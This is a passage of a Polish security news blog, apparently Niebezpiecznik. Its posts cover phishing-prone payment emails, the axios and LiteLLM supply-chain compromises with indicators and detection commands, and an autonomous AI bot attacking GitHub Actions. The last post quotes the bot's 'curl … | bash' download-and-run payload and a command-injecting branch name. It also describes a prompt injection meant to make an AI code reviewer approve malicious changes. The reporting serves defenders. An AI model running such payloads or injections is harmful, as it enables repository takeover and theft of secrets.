Niebezpiecznik.pl

Duże firmy przyuczają ludzi do phishingu (po tym jak przed nim ostrzegały)

2026-04-02T11:36:42Z

Co łączy dostawcę gazu, firmę telekomunikacyjną i centrum medyczne? Takie firmy wysyłają do swoich klientów maile z linkami do płatności. Niestety nie służy budowaniu dobrych nawyków w przeciwdziałaniu phishingowi. Niewiele też wskazuje na to, aby to się miało zmienić.

Problem linków w e-mailach

To jest na swój sposób fascynujące. Firmy płacą za szkolenia z bezpieczeństwa. Banki prowadzą kampanie edukacyjne przeciwko phishingowi. Nawet państwo inwestuje w materiały edukacyjne, które mają wszystkich obywateli nauczyć jednego — nie wpisuj hasła w formularzu logowania, jeśli na stronę trafiłeś przez kliknięcie w link z e-maila.. Edukacja w tym zakresie jest prowadzona od wielu lat, bo to jedno z najstarszych i najczęstszych oszustw internetowych. A jednocześnie najbardziej skutecznych.

Bo ludzie nie zawsze potrafią zorientować się, że e-mail nie pochodzi od tego, za kogo podaje się nadawca.
Bo ludzie nie potrafią też zauważyć literówki na pasku adresowym przeglądarki (lub w ogóle na niego nie patrzą) po kliknięciu w linka z e-maila.

Wszystkim byłoby łatwiej, gdybyśmy materiałach edukacyjnych mogli napisać coś w stylu

“żadna uczciwa firma nie będzie Cię zachęcać w e-mailu do logowania (lub płatności) przez kliknięcie w link”

Dobre praktyki rynkowe są stosowane przez niektórych — zwróćcie uwagę jak w tym zakresie wygląda komunikacja od banków. W e-mailach jest najcześciej zwrot typu “zaloguj się na swoje konto, potem przejdź na zakładkę X aby aktywować Y”, ale bez linka. Klient przecież wie (powinien wiedzieć) jak się zalogować do usługi z której korzysta, a brak linka skłania go do samodzielnego wpisania adresu strony internetowej lub uruchomienia aplikacji. Tak, może ją wpisać z literówką. Tak, może ją wygooglać i trafić na lewą stronę. Ale te ryzyka nie prowadzą do tylu ofiar co phishing i można je szczelniej kontrolować, niż przyzwyczajenie klienta do “klikam w każdy link i wpisuję dane”.

Nie wiemy ile firm zachęca w swojej komunikacji do klikania w linki z e-maila prowadzące do logowania lub płatności, ale sami natknęliśmy się w ostatnim czasie na trzy przykłady.

Zagrożeń czyhających na internautów jest zdecydowanie więcej. O wszystkich opowiadamy w trakcie 3-godzinnego wykładu “Jak nie dać się zhackować?“. To nasz najlepszy wykład o cyberbezpieczeństwie dla każdego. Średnia ocena: 9,48/10. A oto terminy najbliższych wykładów:

Zobacz pełną agendę tego wykładu i reakcje uczestników poprzednich edycji.

PS. Można (a nawet powinno się) na ten wykład wysłać lub przyjść z nietechnicznymi znajomymi!

Lux Med

Przypadek numer 1: Grupa Lux Med. Osoby, które zarejestrowały się na wizytę lekarską w zakładzie tej firmy otrzymywały takiego oto maila z potwierdzeniem.

E-mail z Luxmed (wbrew pozorom nie scam)

Kliknięcie w link w e-mailu przekierowuje na stronę Luxmedu, która z kolei przekierowuje do bramki płatności PayU. Schemat wykorzystywany w wielu oszustwach internetowych “na dopłatę”.

Drugi przypadek: Vectra – dostawca internetu i innych usług telekomunikacyjnych. Klienci tej firmy po wystawieniu rachunku mogą otrzymać taki e-mail:

Mail od Vectry

Link w mailu kieruje do eBok, a zaraz potem następuję przekierowanie do płatności.

Trzeci przypadek: PGNiG (Grupa Orlen). Ta firma w przeszłości ostrzegała przed phishingiem, ale jak widać poniżej, trochę “przyucza” do niego swoich klientów.

Mail od PGNIG

Link w mailu ma treść “Zapłać online” co sugeruje przejście od razu do płatności, jednak tu również klient najpierw przekierowany jest do eBOK, potem może przeklikać się do opcji płacenia. Dodajmy, że wyłudzenie dostępu do konta w takim eBOK też miałoby swoją wartość. Są tam dane o punktach poboru, poprzednich fakturach itd.

Wszystkie trzy podmioty odpytaliśmy o tę sprawę i zadaliśmy im kluczowe pytanie. Czy bylibyście Państwo skłonni zmienić te praktyki?

Vectra: “Tak… ale… tego się nie da tak szybko zmienić…”

Vectra po otrzymaniu pytań odpisała nam dwukrotnie. Najpierw zapewniono nas, że problem jest istotny i będzie analizowany. Potem dostaliśmy drugą, właściwą odpowiedź.

Dzień dobry Panie Marcinie
bezpieczeństwo cyfrowe naszych klientów jest dla nas niezwykle istotne i traktujemy je z najwyższą powagą. Spółka ustawicznie pracuje nad rozwijaniem różnorodnych, wielopłaszczyznowych elementów bezpieczeństwa, w tym dedykowanych dla Abonentów. Zgadzamy się, że należy podejmować wszelkie możliwe działania, by jak najskuteczniej eliminować zagrożenia, jakie niesie za sobą phishing, w szczególności ten w zakresie nieufania jakimkolwiek linkom zawartym w korespondencji. Jesteśmy świadomi zagrożeń i dlatego edukujemy stale w tych kwestiach zarówno naszych Klientów jak i pracowników oraz kontrahentów.
Korespondencję masową, do której odniósł Pan swoje uwagi, charakteryzuje długi okres wdrażania nowych rozwiązań. Wynika to choćby z konieczności w tym zmiany dotychczasowych przyzwyczajeń w zakresie korzystania z wdrożonych udogodnień przez Abonentów i użytkowników, czy wyjaśniana przyczyn wprowadzanych zmian. Kluczowe w tym procesie jest także dostosowywanie się do percepcji i zgłaszanych potrzeb Klientów, które wynikają z ich różnego poziomu świadomości i umiejętności w korzystania z usług cyfrowych.
W odniesieniu do podniesionej przez Pana kwestii eliminowania akcji odnośników, systematycznie ograniczamy ich liczbę i dążymy do pełnej ich eliminacji. Równolegle promujemy nasze systemy eBok, które stanowią bezpieczny i alternatywny, w tym zabezpieczony przez 2FA, kanał komunikacji, także dla korespondencji elektronicznej (e-mail).
Podkreślamy, że nasze działania w obszarze zmian w komunikacji masowej muszą być wdrażane rozważnie i muszą adresować potrzeby naszych klientów. Nie możemy nikogo wykluczać z możliwości i korzyści, jakie dają usługi cyfrowe.
Z pozdrowieniami
Biuro prasowe Vectry

Czyli – jak rozumiemy – niektórzy ludzie bez linka nie ogarną płatności i dlatego te linki są… systematycznie eliminowane. Bardzo cieszy nas fakt, że Vectra rozumie problem, ale jednocześnie mamy wrażenie, że nie w pełni.

PGNIG: “To link do eBOK więc nie ma problemu!”

PGNIG też nam odpowiedziało.

Szanowny Panie Redaktorze,
w PGNiG Obrót Detaliczny, Grupa ORLEN, dbamy o bezpieczeństwo klientów, w szczególności w obszarze usług cyfrowych. W ramach konsekwentnie realizowanej strategii chronimy dane oraz wspieramy klientów w bezpiecznym korzystaniu z oferowanych rozwiązań, m.in. poprzez informację i edukację (przykładem mogą być publikacje na naszej stronie internetowej: Ostrzeżenie przed fałszywymi mailami | PGNiG OD).
Po Pana zgłoszeniu dokonaliśmy ponownej analizy naszej korespondencji z klientami. Wynika z niej, że w żadnym z szablonów wiadomości nie ma linków prowadzących do bezpośredniej płatności. Zamieszczone w nich odnośniki kierują do konkretnych procesów serwisu samoobsługowego eBOK i wymagają autoryzacji poprzez zalogowanie.
Mamy jednak świadomość, że dotychczasowy opis działania „zapłać on-line” mógł wprowadzać w błąd, sugerując niektórym użytkownikom, że link przekierowuje bezpośrednio do tzw. bramki płatniczej. W związku z tym dokonaliśmy korekty opisu na „zaloguj i zapłać”, wskazując jednoznacznie, że cały proces uzyskania wcześniejszego dostępu do systemu PGNiG Obrót Detaliczny.
Serdecznie dziękujemy za Pana zgłoszenie, które przyczyniło się do zmiany, którą wdrożyliśmy.
W razie pytań pozostaje do Pana dyspozycji.

Zadaliśmy spółce dodatkowe pytania starając się delikatnie wyjaśnić, że zamieszczanie w mailu linka do jakiejkolwiek strony logowania nie jest najlepszym pomysłem. Do momentu pisania tego tekstu nie otrzymaliśmy żadnych dodatkowych odpowiedzi.

Luxmed: Prowadzimy prace “na rzecz wprowadzenia bezpieczniejszych metod”

W imieniu Luxmedu odpowiedział nam Łukasza Niewola, Dyrektor Departament Komunikacji Korporacyjnej i Zrównoważonego Rozwoju. Tu również odpowiedź jest w stylu “chcielibyśmy coś zmienić, ale jeszcze nie zmieniamy”.

Grupa LUX MED stale udoskonala jakość usług, wprowadzając funkcjonalności dostosowane do potrzeb pacjentów, starając się zachować przy tym najwyższe standardy bezpieczeństwa. Linki do płatności w komunikacji e-mailowej są stosowane w ściśle określonych przypadkach. Przed wysłaniem e-maila z linkiem pacjent jest informowany, że go otrzyma i mam możliwość skorzystania z tej formy płatności. Jednocześnie podkreślamy, że w wiadomościach e-mail potwierdzających rezerwację wizyty, czy przypominających o wizycie nie wysyłamy linków do płatności.
Obecnie trwają zaawansowane prace, które mają na celu wygasić tę formę płatności na rzecz wprowadzenia bezpieczniejszych metod. W najbliższym czasie nasi pacjenci będą mogli dokonać płatności przez Portal Pacjenta LUX MED lub stronę sklep.luxmed.pl.
W zdecydowanej większości płatności za usługi dokonywane są przez naszych pacjentów w centrach medycznych przed wizytami.

Co robić? Jak żyć?

Nigdy nie powinieneś płacić czy logować się po kliknięciu w link z e-maila. Najlepiej samodzielnie wejść na właściwy serwis internetowy nadawcy i poszukać akcji/opcji o której informuje Cię w e-mailu. Wtedy masz pewność, że klikasz po właściwym serwisie. Jeśli po kliknięciu w link widzisz formularz logowania lub płatności, to popatrz na adres URL. Zweryfikuj też szczegóły ewentualnej płatności (kwota, odbiorca), bo bramka płatności może być prawdziwa, ale pieniądze niekoniecznie powędrują tam gdzie myślisz lub w kwocie której się spodziewałeś.

A jeśli prowadzisz firmę i oferujesz jakąś usługę zwykłym konsumentom, nie proponuj im płatności e-mailem po kliknięciu w link.

Ryzyk czyhających na internautów jest więcej. Opowiadamy o nich w trakcie wykładu “Jak nie dać się zhackować?“, który już w kwietniu odbędzie się w Krakowie i Warszawie. Zobacz pełną agendę tego wykładu i terminy. PS. Można (a nawet powinno się) na ten wykład wysłać lub przyjść z nietechnicznymi znajomymi!

Poważny atak programistów. Popularna biblioteka axios była zainfekowana.

2026-03-31T08:36:24Z

Oprogramowanie na twoim komputerze korzysta z Node’a? I masz w paczkę axiosa jako zależność? Rzuć wszystko i sprawdź z jakiej wersji korzystasz. Ktoś wstrzyknął do tej biblioteki złośliwy kod. Jeśli ją pobrałeś, Twój sprzęt i klucze chmurowe są w rękach przestępców.

Co się stało?

Właśnie odkryto kolejny poważny atak na łańcuch dostaw. Tym razem oberwała popularna biblioteka programistyczna axios powszechnie wykorzystywana do generowania żądań HTTP (pobierana ok. 100 milionów razy tygodniowo!). Tuż po północy atakujący przejęli kontrolę nad kontem npm twórcy biblioteki axios i opublikowali dwie złośliwe wersje, omijając pipeline CI/CD oparty o GitHub Actions i OIDC (Trusted Publisher). Skorzystali po prostu z ręcznej publikacji z pomocą wykradzionego developerowi długoterminowego tokenu dostępu (kto wie, może ów developer, czyli jasonsaayman jest ofiarą ostatniego ataku na LiteLLM?).

Oto zainfekowane paczki:
1.14.1 (31 marca o 00:21 UTC, tag latest) 0.30.4 (31 marca 01:00 UTCtag legacy)

Zachowanie wstrzykniętego złośliwego kodu różni się między systemami:

Windows: Nadpisuje i chowa się pod fałszywym plikiem Windows Terminal (%PROGRAMDATA%\wt.exe), po czym odpala złośliwego PowerShella. (np. %TEMP%\6202033.ps1, %TEMP%\6202033.vbs)
macOS: Udaje demona systemowego, zrzucając plik do rzadko sprawdzanego katalogu /Library/Caches/com.apple.act.mond (plus pliki pod $TMPDIR/6202033).
Linux: Instaluje pythonowego backdoora w /tmp/ld.py.

Malware łączy się z C2 pod adresem sfrclak[.]com:8000 i wysyła dane o Twoim środowisku, nasłuchuje poleceń oraz zaciera za sobą ślady usuwając pliki instalacyjne. Daje też atakującemu możliwość zdalnego wykonania kodu (RCE).

IoC:
IP Serwerów C2: 142.11.206[.]73
Domena kampanii C2 i URL: http://sfrclak[.]com:8000/6202033 oraz sfrclak[.]com (do odrzucenia na poziomie /etc/hosts / iptables)
Złośliwe emaile: ifstap@proton.me oraz nrwise@proton.me
SHA-256 Sumy pakietów w przestrzeni npm:
złośliwy axios w. 1.14.1 – 2553649f232204966871cea80a5d0d6adc700ca
złośliwy axios w. 0.30.4 – d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71
złośliwy pakiet plain-crypto-js w. 4.2.1 – 07d889e2dadce6f3910dcbc253317d28ca61c766
Payload ld.py – fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf
pierwszy dropper setup.js – e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09

Szczegóły techniczne ataku

Atak był dość dyskretny, nie zmodyfikowano ani jednej linii kodu źródłowego axiosa (co mocno utrudniało wykrycie problemu m.in. z pomocą bazujących na kodzie skanerów typu diff). Jedynymi modyfikacjami w pliku package.json było dodanie złośliwej zależności plain-crypto-js: “^4.2.1” oraz usunięcie natywnego skryptu “prepare”: “husky”.

Nowa zależność nigdy nie była importowana, jej celem było osadzenie instrukcji wywoływanej przy pobieraniu pakietu w tle: “postinstall”: “node setup.js”. Nieźle to zaplanowano, bo pakiet plain-crypto-js udostępnił na nowym koncie na platformie ProtonMail inny osobnik, podpisujący się jako nrwise (nrwise@proton.me). Pierwsza wersja z pełnym fałszywym i nieaktywnym kodem (4.2.0) została umieszczona w serwisie 30 marca o 05:57 UTC, a zainfekowana (4.2.1) o 23:59 UTC, czyli tuż przed wstrzyknięciem jej do złośliwego axiosa. Aby uśpić czujność ewentualnych badaczy, plain-crypto-js podszywał się pod inną, bezpieczną bibliotekę crypto-js poprzez linkowanie opisu, aż po kopiowanie dziesiątek z oryginalnych plików (m.in. aes.js o rozmiarze 8649 bajtów, blowfish.js, md5.js, sha256.js, itp.).

Jedyne obce i groźne pliki we wstrzykniętym archiwum to zaledwie jedno-linijkowy setup.js (wielkości 4209 bajtów) oraz czysty szablon konfiguracji package.md o rozmiarze 725 bajtów. Tutaj pełna analiza wstrzykniętego trojana.

Mam Axiosa — co robić, jak żyć?

Jeśli zainstalowałeś wersję 1.14.1 lub 0.30.4, musisz założyć najgorsze. Atakujący mogli mieć całkowity dostęp do Twojego systemu. Dlatego natychmiast:

Sprawdź czy masz zainfekowane paczki. Stepsecurity sugeruje wykonanie tych poleceń:
npm list axios 2>/dev/null | grep -E "1\.14\.1|0\.30\.4" grep -A1 '"axios"' package-lock.json | grep -E "1\.14\.1|0\.30\.4" ls node_modules/plain-crypto-js 2>/dev/null && echo "POTENTIALLY AFFECTED" # macOS ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo "COMPROMISED" # Linux ls -la /tmp/ld.py 2>/dev/null && echo "COMPROMISED" # Windows (cmd.exe) dir "%PROGRAMDATA%\wt.exe" 2>nul && echo COMPROMISED
Odłącz maszynę od internetu, zbierz ślady pod forensic, a jeśli nie zamierzasz lub nie potrafisz go przeprowadzać, to odtwórz maszynę z czystego backupu lub przeinstaluj.
Zrotuj klucze SSH, klucze API, tokeny NPM i inne sekrety. Nie zapomnij o plikach .env. Zmień hasła.

Na przyszłość: Jeśli nie musisz, nie pozwalaj paczkom na samowolkę podczas instalacji. Używaj flagi npm ci –ignore-scripts. Warto też zauważyć, że oba wydania pozbawione były commitów (brak pola gitHead), oficjalnych tagów w repozytorium GitHub (wywołanie GitHub API o tag v1.14.1 zwracało błąd 404) oraz SLSA provenance attestations, które w wersji poprzedniej (1.14.0 i 0.30.3) były obecne. Warto się zastanowić, czy nie wykrywać tego typu anomalii przy zaciąganiu nowych wersji paczek. Albo czy nie opóźniać instalacji nowych paczek o kilka dni — jak widać po ostatnich atakach, community dość szybko wykrywa ataki, więc zamrożenie wersji zależności może być dobrym ogranicznikiem ryzyka.

~/.config/uv/uv.toml exclude-newer = "7 days" ~/.npmrc min-release-age=7 # days ignore-scripts=true ~/Library/Preferences/pnpm/rc minimum-release-age=10080 # minutes ~/.bunfig.toml [install] minimumReleaseAge = 604800 # seconds

Jeśli potrzebujecie zadbać o bezpieczeństwo swoich projektów programistycznych od A do Z, to zapraszamy na nasze turbo-praktyczne szkolenie “Bezpieczeństwo Webaplikacji“, w ramach którego podczas praktycznych 2-dniowych warsztatów pokazujemy jakich błędów przy tworzeniu oprogramowania uniknąć i jak im zapobiegać. Średnia ocen tego szkolenia to 9,45/10. Oto najbliższe terminy tego szkolenia:

Poznań: 20-21 kwietnia 2026r. — UWAGA: zostały tylko 4 wolne miejsca
Ostatnio ktoś zarejestrował się 02 kwietnia 2026r. → zarejestruj się na to szkolenie

ZDALNIE: 11-12 maja 2026r. — zostało 6 wolnych miejsc
Ostatnio ktoś zarejestrował się 02 kwietnia 2026r. → zarejestruj się na to szkolenie

Kraków: 22-23 czerwca 2026r. — zostało 7 wolnych miejsc
Ostatnio ktoś zarejestrował się 17 marca 2026r. → zarejestruj się na to szkolenie

Warszawa: 02-03 lipca 2026r. — zostało 8 wolnych miejsc
Ostatnio ktoś zarejestrował się 19 marca 2026r. → zarejestruj się na to szkolenie

Podzielcie się tym info z kolegami i koleżankami z zespołów. Kto pierwszy w biurze wpisał w nocy lub nad ranem npm update, ten potrzebuje pomocy. Sprawdźcie też czy jakieś automatyzacje nie budowały/aktualizowały Wam przez noc softu/środowiska w oparciu o axiosa. Wygląda na to, że nocne kodowanie to jednak nie taki zen…

Jak Nie Dać Się Zhackować? Czyli nasz wykład dla każdego znowu w Twoim mieście :)

2026-03-30T08:39:33Z

Każdy, kto korzysta z komputera, smartfona i internetu powinien wiedzieć jak robić to bezpiecznie. Od lat, tego jak “nie dać się zhackować” uczymy nie tylko pracowników największych polskich firm na szkoleniach zamkniętych odbywających się w ich siedzibach, ale także każdego kto chce — wystarczy wpaść na nasz 3 godzinny, pełen praktycznych porad i widowiskowych pokazów wykład. Właśnie ruszamy w Polskę z jego 6, ulepszoną edycją — tym razem odwiedzimy następujące miasta (start o 17:30):

Jesteś z innego miasta? Nic nie szkodzi, tam pewnie też będziemy! Zostaw nam e-maila w polu poniżej, a powiadomimy Cię o kolejnych terminach:

Dlaczego warto przyjść na nasz wykład?

Poniżej 4 konkretne powody:

Prosty język.

osoby nietechniczne

rodzicami, dziadkami i znajomymi spoza branży IT

Praktyczne i proste do wdrożenia rady. Pokażemy Ci jak co zrobić, aby ochronić swoje pieniądze, dane i prywatność przed cyberatakami. Nauczymy jak zabezpieczyć swój komputer i smartfon — co włączyć, co wyłączyć, jakie darmowe aplikacje wart doinstalować.

Demonstracje ataków na żywo. W trakcie wykładu pokazujemy na publiczności niektóre z ataków. To robi wrażenie i pomaga lepiej zrozumieć jak powinna wyglądać poprawna reakcja.    

Gwarancja jakości. Wykład widziało już kilkaset tysięcy Polaków. Aktualna średnia ocena to 9,48/10.

Jeśli Cię przekonaliśmy, to:

Poniżej kilka opinii uczestników ostatnich edycji tego wykładu:

Fantastyczny wykład. 3 godziny to nie tak mało jak na jedno podejście, a nawet nie wiem kiedy minęły.

Wykład oceniam wysoko ponieważ, pomimo dosyć dużej wiedzy na ten tamat (interesuje się bezpieczeństwem, czytam niebezpiecznika od dłuższego czasu a od niedawna pracuje w dziale application security) i pomimo tego że się dużo nie dowiedziałem nowego, to naprawdę fajnie spędziłem czas :). Dostałem też, dodatkowej motywacji, aby jeszcze więcej edukować rodzinę i moich znajomych. Dzięki!

Przydatne były informacje które uświadomiły mi, jak bardzo ważne jest, żeby chronić swoje dane osobowe. Nie zdawałam sobie sprawy jak łatwo można je pozyskać. BARDZO podobał mi się sposób mówienia, lekkość językowa. Łatwa, i zrozumiała nawet dla osoby która nie zna się na tych informatycznych rzeczach :)

Przed wykładem wydawało mi się, że jestem w zasadzie bezpieczny, że nie tak łatwo kogoś “zhakować”. Po wykładzie zrozumiałem, że się myliłem. Jeśli ktoś jest odpowiednio zdeterminowany, posiada wiedzę i cierpliwość, to może to zrobić. Warto mu więc to utrudniać w każdy możliwy sposób.

Uczestnicy poprzedniego wykładu we Wrocławiu podczas jednego z eksperymentów :)

Tematyka wykładu “Jak nie dać się zhackować?”

W ramach trwającego łącznie 3 godziny wykładu (z 15 minutową przerwą w środku) pokażemy Ci:

Jak poprawnie zabezpieczyć komputer i smartfona, aby nie zostały one zhackowane przez cyberprzestępców
Jak nie paść ofiarą aktualnych oszustw internetowych, scamów i przekrętów

Jak najlepiej ochronić swoje pieniądze i jak bezpiecznie robić zakupy w internecie
Jak zabezpieczyć swoje dane i komunikację, aby nie zostały one przez nikogo przechwycone
Jak chronić swoją prywatność w trakcie korzystania z e-maila i serwisów społecznościowych
Jak bezpiecznie korzystać z bankowości internetowej

Powyższe zagadnienia zilustrujemy prawdziwymi przykładami ataków, jakie w ostatnich miesiącach dotknęły Polaków, a dodatkowo sami, na żywo pokażemy jak atakują cyberprzestępcy.

Podszyjemy się pod Pana prezydenta
Wykradniemy dane z telefonu komórkowego
Pokażemy jak szybko łamane są hasła Polaków
Zainfekujemy laptopa ofiary i będziemy ją podglądali przez wbudowaną w laptopa kamerkę
Przejmiemy kontrolę nad komputerem przy pomocy złośliwego pendrive’a albo ładowarki do papierosa elektronicznego

Wierzcie nam, że w trakcie tych pokazów szczęka opadnie Wam nie raz… Gwarantujemy, że nikt, kto weźmie udział w tym wykładzie, już nigdy nie będzie tym samym człowiekiem :)

Bilet na wykład możesz także kupić dla kogoś: Mamy, Taty, Babci, Syna, Znajomego. To idealny i praktyczny prezent “na święta”. Cena biletu to zdecydowanie mniejszy wydatek niż koszt jak musiałbyś ponieść, żeby posprzątać po ewentualnym ataku na bliską Ci osobę. Warto zadbać o swoich bliskich :)

Ktoś zatruł popularną pythonową paczkę z 97 milionami pobrań…

2026-03-25T11:16:29Z

Wczoraj, 24 marca, na oficjalnym repozytorium PyPI pojawiła się złośliwa wersja szalenie popularnej biblioteki LiteLLM (wersje 1.82.7 oraz 1.82.8). Czym jest LiteLLM? To opensource’owa “bramka”, która ułatwia programistom łączenie się z wieloma modelami językowymi (LLM) za pomocą jednego interfejsu API. To nie jest niszowy projekt, paczka ma na liczniku ponad 97 milionów pobrań.

Wystarczyło zainstalować. Nie trzeba było nawet uruchamiać!

Atakujący wykorzystali mechanizm ukrywania kodu w plikach z rozszerzeniem “.pth” (tzw. Python Startup Hooks). Wrzucony przez nich do zatrutej paczki plik “litellm_init.pth” był automatycznie wykonywany przy każdym uruchomieniu interpretera Pythona.

To oznacza, że programiści-ofiary nie musieli wcale pisać “import litellm” w swoim kodzie. Wystarczyło, że zainstalowali paczkę (np. poprzez pobranie innego projektu, który używał LiteLLM jako zależności), a ukryty złośliwy skrypt uruchamiał się w tle przy każdym wywołaniu Pythona. Złośliwy kod wykradał z systemu:

Klucze SSH, zmienne środowiskowe (a więc i klucze API), i pliki z konfiguracją Dockera.
Dane uwierzytelniające do chmur AWS, GCP, Azure oraz całe konfiguracje klastrów Kubernetes.
Klucze prywatne TLS, hasła do baz danych (PostgreSQL, MySQL, Redis) i pliki portfeli kryptowalutowych.
Historia powłoki (bash_history, zsh_history), gdzie często lądują hasła wpisywane “z palca”.

Wszystkie te dane są pakowane do archiwum tpcp.tar.gz, szyfrowane i wysyłane na serwer kontrolowany przez napastników: “models.litellm[.]cloud“. Wiecie więc już czego szukać w logach… Szacuje się, że ofiarą tego ataku mogło paść nawet 500 000 urządzeń. Ale mogło być gorzej…

Wpadka hakera zmniejszyła katastrofę

Co ciekawe, atakujący popełnili głupi błąd. Jak informuje Callum McMahon, wstrzyknięty kod zachował się u niego jak “fork bomba”. Złośliwy skrypt uruchamiał w tle kolejny proces Pythona, co powodowało, że ten nowy proces znowu czytał zatruty plik “.pth”, odpalając kolejnego Pythona i tak w nieskończoność. U niektórych programistów używających środowisk takich jak Cursor powodowało to natychmiastowe zużycie pamięci RAM do maksimum i zwieszkę kompa. Dzięki temu, że kod hakerów “wywalał” sprzęt, atak szybko zauważono, a paczkę usunięto z PyPI po niespełna 3 godzinach. Ale ponoć nie u wszystkich kod się zapętlał…

Kto stoi za atakiem i jak tego dokonał?

A teraz najlepsze. Za atak odpowiada grupa TeamPCP, która dostała się do infrastruktury LiteLLM poprzez wcześniejsze zhackowanie …skanera podatności Trivy, którego używano w procesie CI/CD (automatyzacji budowania i testowania kodu).

To klasyczny, wręcz podręcznikowy atak na łańcuch dostaw (ang. supply-chain attack) — co więcej o tym jak łatwo było wstrzyknąć coś w kod Trivy pisaliśmy w poprzednim artykule — zrobił to bot AI, wysyłając im Pull Requesta na GitHubie…

Co robić, jak żyć?

Jeśli używasz Pythona, to:

natychmiast sprawdź, czy w Twoim systemie lub kontenerach nie zainstalowała się wersja 1.82.7 lub 1.82.8 pakietu LiteLLM (pip show litellm). Szukaj też pliku “litellm_init.pth” w katalogach “site-packages” — a jak go tam znajdziesz, to usuń.

Jeśli go znajdziesz — współczujemy. Musisz założyć, że WSZYSTKIE hasła, klucze API i tokeny, które znajdowały się na tej maszynie (w tym te w plikach .env), są w rękach włamywaczy. Należy je natychmiast ubić/zrotować.

Chcesz wiedzieć jak bezpiecznie tworzyć kod aplikacji (nie tylko webowych)? To zapraszamy Cię na 2 dniowe, silnie praktyczne, niebezpiecznikowe szkolenie dla programistów “Atakowanie i Ochrona Webaplikacji”. Pokazujemy na nim najpopularniejsze błędy, jakie widzimy na testowanych przez nasz zespół bezpieczeństwa aplikacjach i uczymy wszystkiego, na co trzeba zwrócić uwagę podczas projektowania, budowy, testowania i deployowania kodu na produkcję. Najbliższe terminy znajdziesz poniżej (podaj podczas rejestracji w uwagach kod LITELLM, to zapiszemy Cię ze zniżką):

Poznań: 20-21 kwietnia 2026r. — UWAGA: zostały tylko 4 wolne miejsca
Ostatnio ktoś zarejestrował się 02 kwietnia 2026r. → zarejestruj się na to szkolenie

ZDALNIE: 11-12 maja 2026r. — zostało 6 wolnych miejsc
Ostatnio ktoś zarejestrował się 02 kwietnia 2026r. → zarejestruj się na to szkolenie

Kraków: 22-23 czerwca 2026r. — zostało 7 wolnych miejsc
Ostatnio ktoś zarejestrował się 17 marca 2026r. → zarejestruj się na to szkolenie

Warszawa: 02-03 lipca 2026r. — zostało 8 wolnych miejsc
Ostatnio ktoś zarejestrował się 19 marca 2026r. → zarejestruj się na to szkolenie

PS. Badamy zainteresowanie webinarem na temat szeroko rozumianego AI i bezpieczeństwa (zarówno od strony użytkownika jak i developera). Zainteresowany? To zostaw nam maila w polu poniżej — jak cykl wystartuje, wyślemy Ci powiadomienie:

Wpisz adres e-mail:

Rozwiąż Captcha:

HP

Bez obaw, podanych e-maili nikomu nie przekazujemy i wykorzystamy je wyłącznie do przypominania Ci o naszych wydarzeniach. Jeśli lubisz czytać o RODO, kliknij tutaj.

Bot AI przez tydzień hackował projekty na GitHubie. I zhackował

2026-03-25T10:02:49Z

Sztuczna inteligencja nie tylko pisze kod. Zaczęła go również skutecznie atakować. Na przełomie lutego i marca autonomiczny bot o nazwie “hackerbot-claw” wziął sobie na celownik największe repozytoria na GitHubie. Oprogramowanie napędzane przez model Claude-Opus-4.5, samodzielnie skanowało publiczne projekty, wykrywało luki i skutecznie wyexploitowało (RCE) infrastruktury 4 firm, w tym Microsoftu.

Jak wygląda hacking na autopilocie?

Jak opisują sprawę badacze ze StepSecurity, hackerbot-claw na celownik wziął GitHub Actions — czyli popularne mechanizmy CI/CD (systemy automatyzacji budowania, testowania i wdrażania kodu) w tych projektach:

microsoft/ai-discovery-agent ‍DataDog/datadog-iac-scanner ‍avelino/awesome-go (140k+ stars) ambient-code/platform project-akri/akri (a CNCF project) aquasecurity/trivy (full repository compromise) RustPython/RustPython (20k+ stars)

Bot zawsze wstrzykiwał ten sam payload:

curl -sSfL hackmoltrepeat.com/molt | bash

Ale 5 różnymi wektorami ataku… Najciekawszym z nich był tzw. “Pwn Request“. Bot wykorzystał workflow typu “pull_request_target“, które domyślnie posiada dostęp do sekretów docelowego repozytorium. Tworząc PR, bot wstrzykiwał złośliwy kod (np. do pliku konfiguracyjnego lub nawet w samą nazwę nowej gałęzi), a serwery budujące bezmyślnie go wykonały. W efekcie wykradał “GITHUB_TOKEN” z uprawnieniami do zapisu.

Pozostałe techniki, to m.in. wstrzykiwanie złośliwego kodu do skryptów (np. dodanie funkcji “init()” w języku Go), wstrzykiwanie poleceń powłoki (bash) poprzez specjalnie spreparowane nazwy gałęzi (dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)) lub nazwy plików, zawierające zakodowane w Base64 komendy.

Najciekawszym atakiem był AI Prompt Injection — bot podmienił plik konfiguracyjny projektu, z którego korzystało narzędzie “Claude Code” (jako AI do code review), instruując swojego “bliźniaka”, by sam zatwierdziła złośliwy kod i przepchnął zmiany! Piękne, ale to się akurat nie udało, bo na szczęście, asystent zachował się wzorowo — zidentyfikował manipulację w swoim pliku konfiguracyjnym, odmówił wykonania złośliwych operacji i opublikował komentarz ostrzegający programistów: “Do Not Merge”.

Przejęcie Trivy i kradzież tokenów

Najpoważniejsze konsekwencje poniósł projekt Trivy (Aqua Security), który — jak na ironię — jest skanerem podatności. Bot z powodzeniem wykradł Personal Access Token o szerokich uprawnieniach i użył go, aby:

Przekształcić repozytorium na prywatne i zmienić jego nazwę.
Skasować wszystkie wydania (GitHub Releases) z kilku lat.
Wypuścić podejrzany artefakt jako rozszerzenie Trivy w sklepie Open VSIX (czyli atak na programistów przez “łańcuch dostaw”).
Zostawić w pliku README.md ironiczną wiadomość.

Używam Github Actions, co robić, jak żyć?

Jeśli zostawicie gdzieś niezabezpieczony workflow w GitHub Actions, prędzej czy później odwiedzi go “autonomiczny badacz” i zrobi Wam jesień średniowiecza w repozytorium. Dlatego

Zawsze stosujcie zasadę najmniejszych uprawnień dla tokenów. GITHUB_TOKEN powinien mieć tylko uprawnienia do odczytu (contents: read), chyba że zapis jest absolutnie konieczny.
Nigdy nie używajcie akcji “actions/checkout” z niezaufanym kodem w połączeniu z “pull_request_target”.
Zablokujcie też nieautoryzowany ruch sieciowy z maszyn wirtualnych CI/CD (np. wychodzące żądania curl), co zapobiegnie pobraniu złośliwego payloadu lub wysłania w siną dal wykradzionego tokena.

AI atakuje AI, czyli nowa rzeczywistość

